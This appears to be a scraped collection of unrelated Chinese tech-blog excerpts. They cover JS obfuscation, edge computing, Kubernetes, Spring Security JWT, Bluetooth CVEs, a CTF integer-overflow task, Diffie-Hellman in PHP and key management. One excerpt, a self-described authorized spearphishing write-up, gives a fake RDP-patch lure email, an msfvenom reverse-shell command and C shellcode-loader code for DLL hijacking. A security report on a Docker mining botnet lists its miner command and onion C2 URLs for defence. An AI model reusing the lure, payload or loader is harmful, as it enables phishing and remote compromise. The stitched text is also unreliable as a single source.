function(id) { return document.getElementById(id);};</script>那么如果依赖这一段代码的模块，使用$('id')调用自然会报错，因为这个全局变量已经被混淆了。常量提取将JS中的常量提取到数组中，调用的时候用数组下标的方式调用，这样的话直接读懂基本不可能了，要么反AST处理下，要么一步一步调试，工作量大增。以上面的代码为例： var test = 'hello';混淆过后： var _0x9d2b = ['hello'];var _0xb7de = function (_0x4c7513) { var _0x96ade5 = _0x9d2b[_0x4c7513]; return _0x96ade5;};var test = _0xb7de(0);当然，我们可以根据需求，将数组转化为二位数组、三维数组等，只需要在需要用到的地方获取就可以。 ...

爱豆在北京开演唱会我在杭州要如何与他实时互动

如果你的爱豆在北京举办演唱会，并做4K高清直播（服务器在上海），演唱会上专门为粉丝设置了一些互动环节，例如抽奖送签名照、答题送爱豆周边等。那么遍布在全国各地的观众该如何与他实时互动？很显然，因为网速、带宽等问题限制，各地观众的网络时延会存在明显差异。如果你在新疆、西藏等偏远地区，很有可能当你看到爱豆提问的时候，实际上现场已经完成了抽奖，因此错失和“爱豆”互动的良机。再来看另一个场景，如今互动课堂已经成为教育均衡化的利器，在5G的助推下将进一步发展。而同样因为学生广泛分布全国各地，这一场景对于低延时、高稳定、高保真也提出了更大的挑战。画质差、音画不同步、交互不能实时反馈、长链路传输无法避免的网络抖动等问题，都无法让学生产生亲临课堂的感受，授课效果也必然会大打折扣。随着5G的到来，全面爆发的超高清和创新视频业务使得数据量会越来越大，这些数据都在终端形成、积累，传送到云端，进行数据处理，再返回到终端指导业务。这一系列动作将对网络带宽产生数百Gbps每秒的超高需求，不仅会存在延迟，还需要面临弱网卡顿、连接成功率低等诸多问题，用户体验无法保障。同时，大带宽对回传网络、业务中心造成巨大传输压力，也会让企业面临着巨额的带宽成本。这意味着集中式的数据存储、处理模式将面临难解的瓶颈和压力。而在引入边缘计算后，视频业务将大量业务在网络边缘终结，性能和带宽的瓶颈将得以突破。利用关键业务应用的下沉，边缘计算将大幅减少网络传输和多级转发带来的带宽与时延损耗，同时在边缘侧进行本地数据的初步分析和处理，可以承担部分“云“的工作，减轻云中心的压力和传输成本。我们以开头的演唱会直播为例，来说明下它的逻辑。身在北京的主播媒体流会推到就近的边缘节点，在边缘节点直接进行转码，转码后的媒体流会分发到CDN边缘节点，当有用户访问时直接就近返回内容。基于边缘节点上的服务，直播流的上下行内容推送以及转码处理等都不用再回到位于上海的业务调度中心，大大降低了业务时延，身在杭州的粉丝的互动体验得到提升，同时边缘处理架构对带宽成本的节省也非常明显。早在2016年，边缘计算开始被业界普遍提及，发展至今，已经有多家电信运营商、云计算厂商、CDN厂商和众多行业先行者开始布局与实践。这其中就包括虎牙直播和阿里云。二者在直播领域进行了长期的技术合作，特别是在边缘计算节点上的合作取得了令人瞩目的效果，2018年10月英雄联盟总决赛期间，虎牙直播结合阿里云边缘节点（ENS）技术方案，保障了总决赛在线人气超过7000万超高流量的挑战，有效满足了用户对低延时、稳定性以及实时互动等方面的要求，在画面传输方面与同类型直播网站相比快将近10秒，用户能够第一时间看到最及时不卡顿的比赛画面。正是因为坚定而深入的拥抱边缘，虎牙直播在获得网络低时延的同时，也减少了中心的压力，节省了30%以上的中心带宽成本，并且实现了边缘节点网络连接小于5毫秒延时，提升了主播上行质量和用户观看体验。为什么不自建边缘数据中心？边缘计算对于实时性的优化已经十分明确，那么为什么虎牙直播要选择与云厂商合作，而非自建边缘数据中心呢？据了解，在没有与云厂商合作之前，虎牙直播应对大型赛事活动，需自建边缘节点，而自建边缘节点交付效率和成本均不具备优势。为了更弹性地启用业务，选择拥抱云厂商不失为一条快速走向成功的捷径。不止是弹性，自建节点还需要面临运维难度大、安全可靠性的考验以及高昂的启动成本。首先，在运维方面，自建边缘节点的运维需要从建设、交付到运行的整个流程管理起来，其次要管理边缘节点内物理服务器层面、操作系统层面、以及软件应用层面的运维问题，出现问题时要有一组工具帮助远程查看日志和问题排查定位，这些对运维的自动化和白屏化提出了很高的要求。其次，通常自建边缘节点基础环境的可靠性是依赖第三方运营商的服务，业务方需要及时对可能面临的软硬件故障进行及时的发现的调度，对业务架构的开发提出较高要求。同时，想要对网络流量安全、主机安全等问题进行提前防护，可能需要在每个边缘节点都部署一套软件加硬件的系统方案，开发成本非常高。最后，自建基础设施意味着从商务采购、服务器采购、供应链管理、到节点建设都要企业自行解决，会带来资产投入过重与成本过高的问题。由此可见，自建边缘节点的弊端十分明显。这也就是越来越多的企业选择第三方边缘计算服务提供商合作的原因。云边端三体协同的网络架构会成为最终形态如今有了边缘计算，我们是否还需要云计算？答案必然是一定的。阿里云边缘计算技术负责人杨敬宇就曾表示过：这二者并不是此消彼长的关系，应是天然互补的关系，边缘计算正在拓展云计算的边界。在云和端的取舍要对两者的算力、电力以及传输多方成本做综合考量。以文章开始讲述的互动直播场景为例，大量的交互使数据量激增，需要准确、快速的计算。如果在端上进行视频计算，会大量消耗端的算力，对端的性能要求很高且耗电量很大，但是拿到云上，又面临高昂的传输成本。这时，云边端三体协同的架构将发挥重要作用。5G时代，终端算力上移、云端算力下沉，将在边缘形成算力融合，企业能够根据自己行业的特点和优势，在边缘计算领域建立一套新的生态系统。在2018年12月，中国电子技术标准化研究院联合阿里云，共同编制并发布了一份《边缘云计算技术与标准化白皮书》，在业界首次定义了边缘云计算的概念和标准。边缘云计算是基于云计算技术的核心和边缘计算的能力，构筑在边缘基础设施之上的云计算平台。形成边缘位置的计算、网络、存储、安全等能力全面的弹性云平台，并与中心云和物联网终端形成“云边端三体协同”的端到端的技术架构，通过将网络转发、存储、计算，智能化数据分析等工作放在边缘处理，降低响应时延、减轻云端压力、降低带宽成本，并供全网调度、算力分发等云服务。杨敬宇认为：原来的云如果只服务云端二体结构，没有边缘计算去做支撑的时候，就像三级跳一样没有一个支点，让终端直接上云，那么云很难支撑产业互联网的需求。云为了扩大自己的服务范围和服务能力，就一定要往边缘做。一时之间，运营商、传统CDN厂商、云服务厂商、硬件和芯片厂商运营商纷纷加入阵营，基于各自行业背景和优势，推动产业良性发展。阿里云也率先在行业释放了云边端三体协同的产品红利，赋能产业应用。云自然不必说，其中“边”就是上文提到的边缘节点服务（ENS），以解决直播等行业“高带宽、高并发、计算密集”的业务需求。而“端”则是阿里云IoT边缘计算产品Link IoT Edge，用于解决万物的标准化接入问题，是连接最后1公里的物联网边缘计算平台，支持包括函数计算、流式计算、规则计算等计算引擎，还可以和超过10种以上云服务建立连接和协同。未来可期：边缘计算会成为大视频领域发展的助推器回到大视频领域，边缘计算解决了低时延、大带宽的业务诉求，同时因为底层复杂的基础设施和网络环境已经被平台方封装，业务方不需关心底层设施和环境的各种差异，也不需关心底层运维问题。阿里云在边缘计算领域具备先发优势，同时结合阿里集团丰富的生态场景，通过边缘计算的平台能力，边缘节点服务也陆续为各类垂直应用提供功能和解决方案，包括视频监控、AI能力、视频处理能力、实时计算、IoT接入等。如此开放标准、可定义、可调度的边缘计算服务，定会在5G时代助推更丰富、更创新的视频形态到来。当然，除了本文详述的互联网音视频场景，在线教育、游戏直播、视频监控也是大视频领域备受瞩目的业务场景之一。后续云栖公众号会持续带来边缘计算如何赋能各个产业，协同阿里云产品，打造完整行业解决方案，敬请期待。本文作者：樰篱原文链接本文为云栖社区原创内容，未经允许不得转载。

大盘点-KubeCon-EU-2019-应用管理领域的新看点

摘要： KubeCon EU 2019 刚刚在巴塞罗那拉下帷幕，来自阿里巴巴经济体的讲师团，在大会上分享了互联网场景下规模化 Kubernetes 集群的各项落地经验和教训。所谓“独行速而众行远”，从不断发展壮大的社区中，我们看到越来越多的人拥抱开源，往标准演进，搭上了这趟开往云原生的高速列车。众所周知，云原生架构的中心项目是 Kubernetes，而 Kubernetes 则围绕着“应用”来展开。让应用部署得更好，让开发者更高效，才能给团队和组织带来切实的利益，才能让云原生技术变革发挥更大的作用。变革的势头既如洪水般吞没着老旧封闭的内部系统，又如春雨般孕育出更多的新开发者工具。在本次 KubeCon 中，就出现了许多有关应用管理与部署的新知识。这些知识中有哪些想法和思路值得借鉴，让我们少走弯路？在它们背后，又预示着什么样的技术演进方向？在本文中，我们邀请到了阿里云容器平台技术专家、原 CoreOS 公司工程师、 K8s Operator 项目的核心作者之一邓洪超，为读者精选了此次会议“应用管理”领域的精华内容来一一进行分析与点评。 The Config ChangedKubernetes 上部署的应用一般会把配置存放到 ConfigMap 里，然后挂载到 Pod 文件系统中去。当 ConfigMap 发生更改时，只有 Pod 里挂载的文件会被自动更新。这种做法对某些会自动做热更新的应用（比如 nginx）来说是 OK 的。但是，对于大多数应用开发者来说，他们更倾向于认为更改配置要做一次新的灰度发布、跟 ConfigMap 相关联的容器应该做一次灰度升级。灰度升级不仅简化了用户代码，增强了安全稳定性，更是体现了不可变基础架构的思想。应用一旦部署，就不再做变更。需要升级时，只要部署一个新版系统，验证 OK 后再摧毁旧版就好了；验证不通过时也容易回滚到旧版。正是基于这样的思路，来自 Pusher 的工程师们研发了 Wave，一款自动监听 Deployment 相关联的 ConfigMap/Secret 并随之改动而触发 Deployment 升级的工具。这款工具的独特之处在于它会自动搜索该 Deployment PodTemplate 里面的 ConfigMap/Secret，然后把里面所有数据计算一次 hash 放到 PodTemplate annotations 里面；当有变动时，会重新计算一次 hash 并更新 PodTemplate annotations，从而触发 Deployment 升级。无独有偶，开源社区里还有另一款工具 Reloader 也做了类似的功能——不同的是，Reloader 还能让用户自己选择填写监听哪几个 ConfigMap/Secret。 ...

SpringBootSpringSecurityjwt整合及初体验

原来一直使用shiro做安全框架，配置起来相当方便，正好有机会接触下SpringSecurity，学习下这个。顺道结合下jwt，把安全信息管理的问题扔给客户端，准备首先用的是SpringBoot，省去写各种xml的时间。然后把依赖加入一下 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-security</artifactId></dependency><dependency> <groupId>io.jsonwebtoken</groupId> <artifactId>jjwt</artifactId> <version>0.9.1</version></dependency>application.yml加上一点配置信息，后面会用 jwt: secret: secret expiration: 7200000 token: Authorization可能用到代码，目录结构放出来一下配置SecurityConfig配置首先是配置SecurityConfig，代码如下 @Configuration@EnableWebSecurity// 这个注解必须加，开启Security@EnableGlobalMethodSecurity(prePostEnabled = true)//保证post之前的注解可以使用public class SecurityConfig extends WebSecurityConfigurerAdapter { @Autowired JwtAuthenticationEntryPoint jwtAuthenticationEntryPoint; @Autowired JwtUserDetailsService jwtUserDetailsService; @Autowired JwtAuthorizationTokenFilter authenticationTokenFilter; //先来这里认证一下 @Autowired public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception { auth.userDetailsService(jwtUserDetailsService).passwordEncoder(passwordEncoderBean()); } //拦截在这配 @Override protected void configure(HttpSecurity http) throws Exception { http .exceptionHandling().authenticationEntryPoint(jwtAuthenticationEntryPoint) .and() .authorizeRequests() .antMatchers("/login").permitAll() .antMatchers("/haha").permitAll() .antMatchers("/sysUser/test").permitAll() .antMatchers(HttpMethod.OPTIONS, "/**").anonymous() .anyRequest().authenticated() // 剩下所有的验证都需要验证 .and() .csrf().disable() // 禁用 Spring Security 自带的跨域处理 .sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS); // 定制我们自己的 session 策略：调整为让 Spring Security 不创建和使用 session http.addFilterBefore(authenticationTokenFilter, UsernamePasswordAuthenticationFilter.class); } @Bean public PasswordEncoder passwordEncoderBean() { return new BCryptPasswordEncoder(); } @Bean @Override public AuthenticationManager authenticationManagerBean() throws Exception { return super.authenticationManagerBean(); }}ok,下面娓娓道来。首先我们这个配置类继承了WebSecurityConfigurerAdapter，这里面有三个重要的方法需要我们重写一下： ...

鱼叉攻击尝试

作者：倾旋0x00 前言本次是授权的鱼叉案例，也都是尝试，经验不够丰富 0x01 鱼叉攻击“鱼叉攻击”是黑客攻击方式之一，最常见的做法是，将木马程序作为电子邮件的附件，并起上一个极具诱惑力的名称，发送给目标电脑，诱使受害者打开附件，从而感染木马。 0x02 准备开始久久拿不到shell，遂开始通过鱼叉攻击，希望获得一些收获询问是否允许支持这类技术手段：接着找同事提供素材，一封客户的邮件，里面包含了邮件签名、部门名称、Logo 0x03 制作模板大致内容为：标题：上海xxx关于业务网、办公网终端安全紧急加固公告背景北京时间 2019 年 5 月 15 日微软发布安全补丁修复了 CVE 编号为 CVE-2019-0708 的 Windows 远程桌面服务(RDP)远程代码执行漏洞，该漏洞在不需身份认证的情况下即可远程触发，危害与影响面极大。受影响的版本 Windows 7Windows Server 2008 R2Windows Server 2008Windows Server 2003Windows XP由于该漏洞与去年的“Wannacry”勒索病毒具有相同等级的危害，由总行信息科技部研究决定，先推行漏洞加固补丁，确保业务网、办公网全部修补漏洞。安装方式解压“上海xxxRDP漏洞补丁.zip”,解压密码：xxx123，解压成功后，双击运行“RDP-VulnPatch.exe”即可：修复成功会提示“修复漏洞成功！” 上海xxx 二零一九年五月二十日其中解压密码也是目标常见的弱口令。 0x04 制作木马通过手工制作一个Windows/shell/reverse_tcp的木马DLL，先获得Msfvenom生成的shellcode。 $ /opt/metasploit-framework/bin/msfvenom -p windows/shell/reverse_tcp LHOST=xxxx LPORT=8899 -f c -e x86/shikata_ga_nai -i 20 用之前的QQ拼音输入法DLL劫持漏洞，来一次白利用。 VOID shdjshjdhsjhdjshdjs() { unsigned char buff[] = "\xbe\x65\x43\x60\x4a\xdb\xcd\xd9\x74\x24\xf4\x58\x31\xc9\xb1" "\xd6\x31\....省略部分.......7\xe7\xc3\x2a\xcd\x23\xb8\x07\x0b\x04\x54\x17" "\xc1\x57\x63\x4c\x60\xa7\x7a\xa7\x54\xe7\xc2"; PVOID p = NULL; if ((p = VirtualAlloc(NULL, sizeof(buff), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) { printf("error"); } if (!(CopyMemory(p, buff, sizeof(buff)))) { printf("error"); } CODE code = (CODE)p; code();}参考文章：https://payloads.online/archi... ...

威胁快报新兴挖矿团伙借助shodan作恶非web应用安全再鸣警钟

近日，阿里云安全发现了一个使用未授权访问漏洞部署恶意Docker镜像进行挖矿的僵尸网络团伙。我们给这一团伙取名为Xulu，因为该团伙使用这个字符串作为挖矿时的用户名。 Xulu并不是第一个攻击Docker的恶意挖矿团伙，但它不同于其他僵尸网络。Xulu感染一台服务器后，并不对外进行大规模扫描，而是使用OSINT技术，即利用开源情报，动态地从shodan网站获得可能的“猎物”ip列表。此外，Xulu僵尸网络将自己的服务器放在Tor洋葱网络中，这使得对幕后黑手的追溯变得更加困难。会挖矿的恶意Docker镜像Docker容器是一个开源的应用容器引擎，可以让开发者打包他们的应用及依赖包到一个轻量级、可移植的容器中，从而在不同环境中可靠运行。近年来随着微服务的流行，越来越多的企业在部署应用时使用容器，然而在这一过程中安全往往没有得到应有的重视，导致Docker容器在多起事件中成为网络攻击的靶子。在本次Xulu僵尸网络事件中，我们注意到沦陷服务器上都被创建了镜像名为zoolu2/auto的恶意容器。这些恶意容器中运行着如下进程其中的挖矿进程很容易分辨： /toolbin/darwin -o us-east.cryptonight-hub.miningpoolhub.com:20580 -u xulu.autodeploy -p x --currency monero -i 0 -c conf.txt -r尽管miningpoolhub.com是公开矿池，但由于它不提供每个用户的历史收益数据，我们无从得知攻击者从恶意挖矿中总共赚了多少钱。僵尸网络的传播和持久化Xulu僵尸网络进行自身的传播和持久化的过程中，使用了OSINT技术并借助了洋葱网络。首先，该僵尸网络的控制服务器地址是http://wg6kw72fqds5n2q2x6qjejenrskg6i3dywe7xrcselhbeiikoxfrmnqd.onion。".onion"后缀表明这是一个必须通过洋葱匿名网络访问的“洋葱服务”(又名“隐藏服务”)。该僵尸网络以/toolbin/shodaemon作为守护进程：不难看出该脚本下载了http://wg6kw72fqds5n2q2x6qjejenrskg6i3dywe7xrcselhbeiikoxfrmnqd.onion/shodan.txt，与本地硬编码的/toolbin/hcode.txt文件内容一起存入search.txt 运行/toolbin/shodan，读取search.txt的列表并对shodan发送如上图所示的查询。这些查询会返回互联网上一系列开放了Docker服务(2375端口)的主机ip。尽管这些主机并非每个都存在漏洞，但攻击者仍然通过使用shodan的信息，避免了大规模扫描的进行。在获取了使用Docker服务的主机列表并去除重复ip后，已沦陷的主机会向表中ip发送docker run命令，其中未授权访问漏洞的Docker服务将被部署"zoolu2/auto"恶意镜像，从而完成蠕虫的传播。此外，Xulu僵尸网络还会每30分钟下载并执行从http://wg6kw72fqds5n2q2x6qjejenrskg6i3dywe7xrcselhbeiikoxfrmnqd.onion/bnet1.txt下载的脚本，从而保持自身在受害主机上的活跃。受害规模和安全建议在docker hub官网我们可以看到，前文提到的"zoolu2/auto"已被下载超过1万次：并且僵尸网络作者似乎仍在积极开发变种：为了避免您成为此种恶意入侵和挖矿事件的受害者，阿里云安全为您提供如下安全建议：不要将对内使用的服务(如Docker)开放在互联网上，应使用ACL或复杂密码等措施来保证仅有受到信任的用户才可以访问这些服务。因为基于洋葱网络的“隐藏服务”已被用于多个僵尸网络的传播，不常使用洋葱网络服务的用户可以使用如下命令对其进行屏蔽：echo -e "n0.0.0.0 .onion" >> /etc/hosts我们推荐您使用阿里云下一代防火墙，因为它在阻止、拦截此类需要外联的攻击时十分有效。用户将在AI技术的帮助下，免于恶意挖矿事件的困扰我们同样推荐阿里云安全管家服务。该服务的用户可以就碰到的问题随时咨询安全专家。安全专家还可以帮助用户进行安全加固、事件溯源、蠕虫清理等IOCcontrol server: http://wg6kw72fqds5n2q2x6qjejenrskg6i3dywe7xrcselhbeiikoxfrmnqd.onion url: http://wg6kw72fqds5n2q2x6qjejenrskg6i3dywe7xrcselhbeiikoxfrmnqd.onion/bnet1.txthttp://wg6kw72fqds5n2q2x6qjejenrskg6i3dywe7xrcselhbeiikoxfrmnqd.onion/shodan.txt pool:us-east.cryptonight-hub.miningpoolhub.com:20580 md5: c29dfe75862b6aed91bec4ffc7b20b9c Referencehttps://www.alibabacloud.com/blog/dockerkiller-threat-analysis-first-instance-of-batch-attack-and-exploitation-of-docker-services_593947https://www.docker.com/resources/what-container 本文作者：云安全专家阅读原文本文为云栖社区原创内容，未经允许不得转载。

高复杂性下的蓝牙安全危机

高复杂性下的蓝牙安全危机蓝牙就像胶水一样和我们的智能设备紧密的粘在一起，这意味着一旦出现BUG，可能会引发严重的后果。最近，位于美国加州圣克拉拉市的安全公司McAfee（迈克菲，是一家致力于创建最佳计算机安全解决方案的公司，该公司提供的杀毒软件是全世界最畅销的杀毒软件之一）的研究人员报告了一种名叫BoxLock（一款自带扫码功能的挂锁，可以支持蓝牙、扫码开锁）的智能挂锁存在蓝牙低能耗（BLE，全称Bluetooth Low Energy，它是蓝牙协议的一个浓缩版本）误配置的问题，它使得设备可以在没有任何密码或加密保护的情况下自由配对，研究人员可以随意连接到任何一把锁上，通过分析可以辨别出是哪个设备发出了解锁命令，此外BoxLock将该命令配置为读写模式，一旦攻击者知道目标是谁，就能启用解锁命令。除以上事件之外，其实类似漏洞早在2017年就被曝光了，当时影响着包括电脑、手机、物联网在内的近50亿终端设备，虽然很多缺陷已被修复，但目前仍有10多亿设备受到影响，而这类通过利用一系列蓝牙漏洞攻击的媒介统称为BlueBorne。 BlueBorne有什么危害因为蓝牙进程在操作系统中具有很高的权限，导致BlueBorne这种只需要无线信号就能攻击的方式极具感染力，它能像感冒病毒一样通过空气从一台设备传播到另一台设备，瞄准网络防御最薄弱的地方以达到完全控制整个系统的目的。为什么有这么大危害那么导致出现问题的原因是什么呢？也许很多人会直接怀疑蓝牙本身的问题，其实不全是如此，当初蓝牙协议为了使用户能够灵活配置，提供了庞大的可选项和标准文档供生产厂家使用，蓝牙协议标准多达2822页，而Wi-Fi协议（802.11）标准才450页，这庞大臃肿的标准使得生产厂家无法准确的使用最合适的配置，从而导致发布的产品可能含有致命的漏洞。下面就列出一些由物联网安全公司Armis Labs发布的最具代表性的几个蓝牙相关漏洞（包含了蓝牙协议本身及生产厂家）。 CVE-2017-1000251，这是Linux内核的远程控制执行漏洞，攻击者可以利用此漏洞向蓝牙协议的L2CAP（蓝牙系统中的核心协议，负责适配基带中的上层协议）层发送畸形数据包，对目标设备进行恶意配置，为下一步攻击做准备。 CVE-2017-1000250，Linux的蓝牙协议栈信息泄露漏洞，因为蓝牙设计规范程度不够，导致部分Linux和安卓系统会被攻击者完全控制，从而执行进一步的攻击。 CVE-2017-0785，安卓信息泄露漏洞，类似于上述的蓝牙协议栈信息泄露漏洞，攻击者可以利用漏洞在安卓设备上反复传输指令，达到绕过验证和保护机制的效果。 CVE-2017-0781，安卓系统的远程控制执行漏洞，因为安卓在消息处理的代码逻辑部分存在一处逻辑错误，导致堆溢出被触发后，后续的缓存区大小填写不受限制。 CVE-2017-0782，也是安卓远程控制执行漏洞，这个是因为安卓在控制帧数据包的一段代码逻辑有问题，后续代码又没做检验，导致利用漏洞可以突破最大传输单元的大小限制。 CVE-2017-0783，安卓信息泄露安全漏洞和Windows信息泄露安全漏洞，攻击者可以自己组建网络，并设置自己为网络访问点，然后修改动态主机配置协议服务器构造恶意中继。 CVE-2017-14315，苹果远程控制执行漏洞，因为基于蓝牙低功耗的语音控制命令传输在消息来源验证方面存在逻辑漏洞，对传入的指令大小验证不严格导致溢出，从而使得远程代码可以在iOS蓝牙协议栈上被执行。在物联网爆发的时代，越来越多的智能设备加入，随着蓝牙功能不断介入我们的生活，安全问题该怎么办呢？对此，研究人员称蓝牙协议正在不断进行完善，未来会有增强安全性的工具或组件出现，但是呢，平时有可用的安全补丁一定要打，不常用蓝牙时最好还是给关了。对此，你怎么看？如果你愿意，让我来帮你关注那些可能不知道又想知道却想不到的知识，公众号【关爱程序员社区】。

整数溢出

什么是整数溢出由于整数在内存里保存在一个固定长度的空间内，它能存储的最大值和最小值是固定的，如果我们尝试去存储一个数，而这个数又大于这个固定的最大值时，就会导致整数溢出整数溢出的危害如果一个整数用来计算一些敏感数值，如缓冲区大小或数值索引，就会产生潜在的危险。通常情况下，整数溢出并没有改写额外的内存，不会直接导致任意代码执行，但是它会导致栈溢出和堆溢出，而后两者都会导致任意代码执行。由于整数溢出出现之后，很难被立即察觉，比较难用一个有效的方法去判断是否出现或者可能出现整数溢出。整数溢出关于整数的异常情况主要有三种：溢出只有有符号数才会发生溢出。有符号数最高位表示符号，在两正或两负相加时，有可能改变符号位的值，产生溢出溢出标志OF可检测有符号数的溢出回绕无符号数0-1时会变成最大的数，如1字节的无符号数会变为255，而255+1会变成最小数0.f进位标志CF可检测无符号数的回绕截断将一个较大宽度的数存入一个宽度小的操作数中，高位发生截断常见题型整数转换回绕和溢出截断整数转换 -- newbugku一道整数溢出题目f4n_pwnmain函数int __cdecl main(int argc, const char **argv, const char **envp){ int v4; // [esp+Ch] [ebp-1Ch] unsigned int buf; // [esp+10h] [ebp-18h] int v6; // [esp+14h] [ebp-14h] int fd; // [esp+18h] [ebp-10h] int i; // [esp+1Ch] [ebp-Ch] setvbuf(stdout, 0, 2, 0); puts("###### Welecome to ctf game ######\ninput your name length : "); read_name(); puts("let's begin guess num game "); fd = open("/dev/urandom", 0); if ( fd < 0 || read(fd, &buf, 4u) < 0 ) { puts("error"); exit(0); } close(fd); srand(buf); for ( i = 0; i <= 9; ++i ) { v6 = rand() % 9 + 3; printf("Round %d , please guess the num : \n", i); fflush(stdout); fflush(stdin); __isoc99_scanf("%d", &v4); if ( v4 != v6 ) { printf("you fail"); exit(0); } } printf("u are great! this is your flag"); getflag(); return 0;}猜测随机数可得flag，hhh ...

我发誓这真的是最后一篇关于ECDH的文儿API安全加强篇四

首先是前段时间我在公众号里被人批（dui）评（gang）了，大概意思就是：你别老整那ECDH又是椭圆又是素数啥的，你就说这玩意实际项目中怎么用就完了，我们不想听那些，那些我们都懂都精通，而且你还太监了，你自己看看是不是太监了，ECDH写到上一篇明显还没完，结果到现在了还没下文，你自己说是不是太监了，你自己说。其次是实际上本篇内容实际上和ECDH没有半毛钱关系，通篇都是DH（少了EC两个字母），不过在项目中实际应用的业务逻辑写法、道理都是一样晒儿的。你现在可以暂时认为DH就是ECDH的“ 少了两个字母版本 ”。用DH的最主要原因是啥呢，因为时间有限，我优先写了DH的常用语言库文件，目前可用，ECDH的一根毛都没有写，所以只能用DH演示。最后是再次强调一遍，作为一篇正经的文章，我需要再次科普一下DH是啥意思。很多都以为DH是Daemon Hunter（恶魔猎手）的简称，然而并不是。Daemon Hunter是真实名称叫做伊利丹，是个瞎子同时又是法玛丽奥（就是老鹿）的兄dei。他暗恋白虎（就是那种真的白虎）泰兰德，然而泰兰德却嫁给了老鹿，事情大概就是这么一回事。在我们这里DH则是Diffie-Hellman的简称，二位大爷的照片我以前贴过，现在不得不再贴一遍：上图告诉我们头发长短与职业无关，douyin上那些自以为get到程序员梗的短视频真的是LOWB到一塌糊涂。在正式开始前之前，我还是要说明一下用DH的初衷是什么或者说这个东西是来解决什么问题的。接着上篇的故事（点击这里）说：你老板说项目非常牛逼，数据要加密，用牛逼的加密算法你就用RSA非对称加密开发测试操作猛如虎然后，一上线：CPU炸了，成绩1-5然后你找老板审批升级服务器费用，老板给了你300块并让你放心花大胆花你首先把RSA下线了，然后偷偷换成了AES对称加密，CPU不炸了然后三百块偷偷放到了自己腰包里但是AES的对称密钥你写死到客户端，被逆向就完了；如果通过服务器下发，听起来更加扯淡想了想，你拿着三百块钱组了个局儿，你带着钱，我带着陈旭，老赵带着柱子，再加上大彪，正好六人局局上我向你透露出一种方案：将AES对称密钥通过非对称方式协商出来。DH这种神奇的算法可以让你服务器和客户端在不传输该对称密钥的情况下就可以通过心有灵犀地方式各自计算出一个对称密钥，而且可以一样，避免了该密钥在网络上流通，而且你可以随意更换，过期时间定为1分钟，可谓是狠毒至极！我们引入DH就是为了解决上面的问题。然而，DH或ECDH并不能解决中间人攻击问题，这个要搞明白了。所以，在正式开始之前，我必须先安利我和东北大嫖客还有巨蛀以及阿尼特写的DH库，github链接是这个，下面我将利用这些DH库们进行demo演示。 https://github.com/ti-dh（明眼人已经看出来我是来骗star的）目前这个库提供了纯PHP、C实现的PHP扩展、Java版，列个表格吧：先说下服务端和客户端进行协商地整体流程，非常非常简单：整个协商流程中，只有第二步和第三步会发生数据交互。第二步是API下发p、g、server-num给客户端；第三步是客户端向API提交client-num数据；最后一步，对称加解密用的key就已经计算出来用于生产环境了。下面我用世界上最好的语言演示一下如何使用这个鬼东西，客户端我们用什么演示呢？客户端也依然使用世界上最好的语言来演示。首先，你们把上面github里的库文件集成到你们API里，我这里集成完毕后代码如下： API demo code：<?phpclass DhController extends BaseController{ private $dh = null; // 将DH库初始化进来呀... public function init() { $this->dh = new Dh(); } // 这就是上图中的第二步：客户端访问这个API获取g p 和 server-num public function getdhbasedataAction() { $ret = $this->dh->getdhbasedata(); echo json_encode( $ret ); } // 这就是上图中的第三步：客户端通过这个api提交client-num参数 public function postdhclientdataAction() { if ( $this->getRequest()->isPost() ) { if ( empty( $_POST['client_number'] ) || !is_numeric( $_POST['client_number'] ) ) { exit( json_encode( array( 'code' => -1, 'message' => 'wrong parameters', ) ) ); } $ret = $this->dh->postdhclientdata( $_POST ); echo json_encode( array( 'key' => $ret, ) ); } }}Client demo code：<?phprequire __DIR__ . '/vendor/autoload.php';use \Curl\Curl;$curl = new Curl();// 初始化客户端数据，随机一个即可～$client_number = mt_rand( 100000, 999999 );// 1、第一步，获取服务器的p、g和server_number$ret = $curl->get( 'https://xxxx.ooo/dh/getdhbasedata' );$ret = json_decode( $ret, true );$p = $ret['p'];$g = $ret['g'];$server_number = $ret['server_number'];// 2、第二步，根据服务器获取到的数据计算出client-number$process_client_number = gmp_powm( $g, $client_number, $p );// 3、第三步，将计算过后的client-number发送给服务器// 那个demo里已经有完美的演示了，多看代码$ret = $curl->post( 'https://xxxx.ooo/dh/postdhclientdata', array( 'client_number' => gmp_strval( $process_client_number ),) );$ret = json_decode( $ret, true );// 4、第四步，根据server-number，client-number和p 计算出公共密钥K$key = gmp_powm( $server_number, $client_number, $p );echo PHP_EOL."DH非对称密钥产生交换：".PHP_EOL;echo 'client计算出的public key : '.$key.PHP_EOL;echo 'server计算出的public key : '.$ret['key'].PHP_EOL.PHP_EOL;客户端文件保存client.php，然后php client.php执行一下，结果你们感受一下： ...

密钥管理架构设计概述

Key Management Service：密钥管理服务，为公司加解密、接口签名等服务提供统一的密钥管理能力，包括密钥生成、存储、下发、更新、销毁等。一、概念1、密钥属性：（1）密钥状态 NEW：相应的密钥版本已准备就绪，可以使用。 USING：相应的密钥版本已无法使用，但密钥材料仍可以使用，并且可重新设置成已启用状态。 STOP：手动停用的密钥。 LIMIT：限制的密钥，不可在做加密操作，但可以用来解密历史数据。 DEL：删除的密钥，不能再进行任何加密或者解密操作。（2）密钥版本：从1.0逐渐增加。（3）有效期：单个密钥有效期60分钟。密钥失效前10分钟生成新密钥。2、密钥用途：KMS为以下场景提供相应的密钥用途：数据加密、数字签名、各种场景的key管理。3、密钥更新：密钥更新，不会对历史数据重新加密，只是在更新的时间点之后，自动使用新密钥做加密自定更新，设置更新周期和更新时间手动更新，随时更新，并且不影响自动更新4、密钥分级：密钥分级保证密钥本身的安全性。简单的分级方案：第一层：工作密钥，DEK，用来加密实际的敏感数据。第二层：密钥加密密钥，又叫做终端主密钥，KEK，用来加密工作密钥，在各个终端中存在。第三层：非对称密钥，数字证书的一部分，用来识别身份，并加密传输KEK。二、思路1、严格校验用户端和服务端的身份，避免冒用。身份校验应以可信的第三方CA为标准。2、密钥管理设计时要充分考虑密钥备份、容灾恢复等问题。3、在各个关键节点要设计降级方案，如向KMS申请密钥超时，SDK需要支持本地生成临时密钥。4、密钥更新过程中一定要保证多节点的密钥一致性。5、能在SDK中封装好的功能尽量在SDK封装好，避免与业务线代码侵入过多。6、尽量避免转加密现象。三、组成架构简单的密钥管理体系由四大部分组成：KMS：密钥管理系统，用来统一管理各类密钥的生命周期，维护密钥各类属性。在密钥